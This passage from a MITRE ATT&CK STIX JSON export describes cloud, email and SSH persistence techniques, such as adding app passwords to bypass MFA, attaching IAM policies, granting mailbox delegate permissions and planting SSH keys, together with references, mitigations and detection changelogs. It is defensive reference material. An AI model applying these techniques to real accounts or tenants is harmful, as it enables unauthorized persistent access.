account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1098/001",
"external_id": "T1098.001"
},
{
"source_name": "Crowdstrike AWS User Federation Persistence",
"description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.",
"url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"
},
{
"source_name": "Expel IO Evil in AWS",
"description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
"url": "https://expel.io/blog/finding-evil-in-aws/"
},
{
"source_name": "SpecterOps Azure Privilege Escalation",
"description": "Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.",
"url": "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5"
},
{
"source_name": "Demystifying Azure AD Service Principals",
"description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.",
"url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/"
},
{
"source_name": "Lacework AI Resource Hijacking 2024",
"description": "Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.",
"url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"
},
{
"source_name": "GCP SSH Key Add",
"description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.",
"url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add"
},
{
"source_name": "Permiso Scattered Spider 2023",
"description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.",
"url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
},
{
"source_name": "Blue Cloud of Death Video",
"description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.",
"url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815"
},
{
"source_name": "Blue Cloud of Death",
"description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.",
"url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1"
},
{
"source_name": "Microsoft Entra ID App Passwords",
"description": "Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.",
"url": "https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords"
},
{
"source_name": "Microsoft SolarWinds Customer Guidance",
"description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
"url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
},
{
"source_name": "Mandiant APT42 Operations 2024",
"description": "Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, and Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved May 28, 2024.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations"
},
{
"source_name": "Expel Behind the Scenes",
"description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.",
"url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/"
},
{
"source_name": "Sysdig ScarletEel 2.0",
"description": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.",
"url": "https://sysdig.com/blog/scarleteel-2-0/"
},
{
"source_name": "Rhino Security Labs AWS Privilege Escalation",
"description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
"url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Expel",
"Oleg Kolesnikov, Securonix",
"Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)",
"Zur Ulianitzky, XM Cyber",
"Alex Soler, AttackIQ",
"Dylan Silva, AWS Security",
"Arad Inbar, Fidelis Security",
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"Identity Provider",
"SaaS"
],
"x_mitre_version": "2.8",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Modification\", \"Active Directory: Active Directory Object Creation\", \"Active Directory: Active Directory Object Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.839000+00:00\", \"old_value\": \"2025-04-15 21:45:50.674000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\\n\\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\\n-\\n-Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\"}}}",
"previous_version": "2.8",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1030: Network Segmentation",
"M1032: Multi-factor Authentication",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Modification)",
"DS0026: Active Directory (Active Directory Object Creation)",
"DS0026: Active Directory (Active Directory Object Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0531: Detection Strategy for Additional Cloud Credentials in IaaS/IdP/SaaS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-19 16:59:45.362000+00:00",
"modified": "2025-10-24 17:48:35.082000+00:00",
"name": "Additional Cloud Roles",
"description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1098/003",
"external_id": "T1098.003"
},
{
"source_name": "Expel AWS Attacker",
"description": " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022.",
"url": "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/"
},
{
"source_name": "Microsoft O365 Admin Roles",
"description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.",
"url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"
},
{
"source_name": "AWS IAM Policies and Permissions",
"description": "AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.",
"url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html"
},
{
"source_name": "Google Cloud IAM Policies",
"description": "Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.",
"url": "https://cloud.google.com/iam/docs/policies"
},
{
"source_name": "Invictus IR DangerDev 2024",
"description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
"url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
},
{
"source_name": "Microsoft Support O365 Add Another Admin, October 2019",
"description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.",
"url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"
},
{
"source_name": "Rhino Security Labs AWS Privilege Escalation",
"description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
"url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Microsoft Threat Intelligence Center (MSTIC)",
"Alex Parsons, Crowdstrike",
"Chris Romano, Crowdstrike",
"Wojciech Lesicki",
"Pi\u00e0 Consigny, Tenable",
"Cl\u00e9ment Notin, Tenable",
"Praetorian",
"Alex Soler, AttackIQ",
"Arad Inbar, Fidelis Security",
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"Identity Provider",
"Office Suite",
"SaaS"
],
"x_mitre_version": "2.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.082000+00:00\", \"old_value\": \"2025-04-15 21:46:09.054000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. \"}}}",
"previous_version": "2.5",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1032: Multi-factor Authentication"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0277: Detection Strategy for Role Addition to Cloud Accounts"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-19 16:54:28.516000+00:00",
"modified": "2025-10-24 17:49:32.801000+00:00",
"name": "Additional Email Delegate Permissions",
"description": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Mandiant Defend UNC2452 White Paper)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1098/002",
"external_id": "T1098.002"
},
{
"source_name": "Bienstock, D. - Defending O365 - 2019",
"description": "Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved November 17, 2024.",
"url": "https://www.slideshare.net/slideshow/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365/128744511"
},
{
"source_name": "Crowdstrike Hiding in Plain Sight 2018",
"description": "Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.",
"url": "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/"
},
{
"source_name": "Google Ensuring Your Information is Safe",
"description": "Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022.",
"url": "https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html"
},
{
"source_name": "Gmail Delegation",
"description": "Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022.",
"url": "https://support.google.com/a/answer/7223765?hl=en"
},
{
"source_name": "FireEye APT35 2018",
"description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved November 17, 2024.",
"url": "https://static.carahsoft.com/concrete/files/1015/2779/3571/M-Trends-2018-Report.pdf"
},
{
"source_name": "Mandiant Defend UNC2452 White Paper",
"description": "Mandiant. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.",
"url": "https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452"
},
{
"source_name": "Microsoft - Add-MailboxPermission",
"description": "Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.",
"url": "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Microsoft Detection and Response Team (DART)",
"Mike Burns, Mandiant",
"Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)",
"Arad Inbar, Fidelis Security",
"Nilesh Dherange (Gurucul)",
"Naveen Vijayaraghavan"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Office Suite"
],
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Group: Group Modification\", \"Application Log: Application Log Content\", \"User Account: User Account Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.801000+00:00\", \"old_value\": \"2025-04-15 21:47:23.761000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\\n\\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \\n\\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \\u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\\n-\\n-Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \\n-\\n-A larger than normal volume of emails sent from an account and similar phishing emails sent from \\u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.\"}}}",
"previous_version": "2.2",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1032: Multi-factor Authentication",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Modification)",
"DS0015: Application Log (Application Log Content)",
"DS0036: Group (Group Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0373: Detection Strategy for Addition of Email Delegate Permissions"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-06-24 12:42:35.144000+00:00",
"modified": "2025-10-24 17:48:55.005000+00:00",
"name": "SSH Authorized Keys",
"description": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys (or, on ESXi, `/etc/ssh/keys-/etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1098/004",
"external_id": "T1098.004"
},
{
"source_name": "Venafi SSH Key Abuse",
"description": "Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.",
"url": "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities"
},
{
"source_name": "Broadcom ESXi SSH",
"description": "Broadcom. (2024, December 12). Allowing SSH access to VMware vSphere ESXi/ESX hosts with public/private key authentication. Retrieved March 26, 2025.",
"url": "https://knowledge.broadcom.com/external/article/313767/allowing-ssh-access-to-vmware-vsphere-es.html"
},
{
"source_name": "Google Cloud Privilege Escalation",
"description": "Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022.",
"url": "https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/"
},
{
"source_name": "cisco_ip_ssh_pubkey_ch_cmd",
"description": "Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July 13, 2022.",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478"
},
{
"source_name": "Cybereason Linux Exim Worm",
"description": "Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.",
"url": "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability"
},
{
"source_name": "Google Cloud Add Metadata",
"description": "Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022.",
"url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata"
},
{
"source_name": "Azure Update Virtual Machines",
"description": "Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022.",
"url": "https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update"
},
{
"source_name": "SSH Authorized Keys",
"description": "ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.",
"url": "https://www.ssh.com/ssh/authorized_keys/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Tony Lambert, Red Canary",
"Dror Alon, Palo Alto Networks",
"Or Kliger, Palo Alto Networks",
"Austin Clark, @c2defense",
"Arad Inbar, Fidelis Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"IaaS",
"Network Devices",
"ESXi"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.005000+00:00\", \"old_value\": \"2025-04-15 19:58:39.342000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations.\\n\\nMonitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.\\n\\nFor network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations.\\n-\\n-Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0126: Detection Strategy for SSH Key Injection in Authorized Keys"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d21bb61f-08ad-4dc1-b001-81ca6cb79954",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2023-03-10 15:37:21.782000+00:00",
"modified": "2025-10-24 17:49:25.997000+00:00",
"name": "Acquire Access",
"description": "Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a \u201cload\u201d that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)\n\nBy leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)\n\nIn some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).\n\n**Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1650",
"external_id": "T1650"
},
{
"source_name": "Krebs Access Brokers Fortune 500",
"description": "Brian Krebs. (2012, October 22). Service Sells Access to Fortune 500 Firms. Retrieved March 10, 2023.",
"url": "https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/"
},
{
"source_name": "CrowdStrike Access Brokers",
"description": "CrowdStrike Intelligence Team. (2022, February 23). Access Brokers: Who Are the Targets, and What Are They Worth?. Retrieved March 10, 2023.",
"url": "https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/"
},
{
"source_name": "CISA Karakurt 2022",
"description": "Cybersecurity Infrastructure and Defense Agency. (2022, June 2). Karakurt Data Extortion Group. Retrieved March 10, 2023.",
"url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a"
},
{
"source_name": "Microsoft Ransomware as a Service",
"description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.",
"url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jeremy Kennelly",
"Jeffrey Barto"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
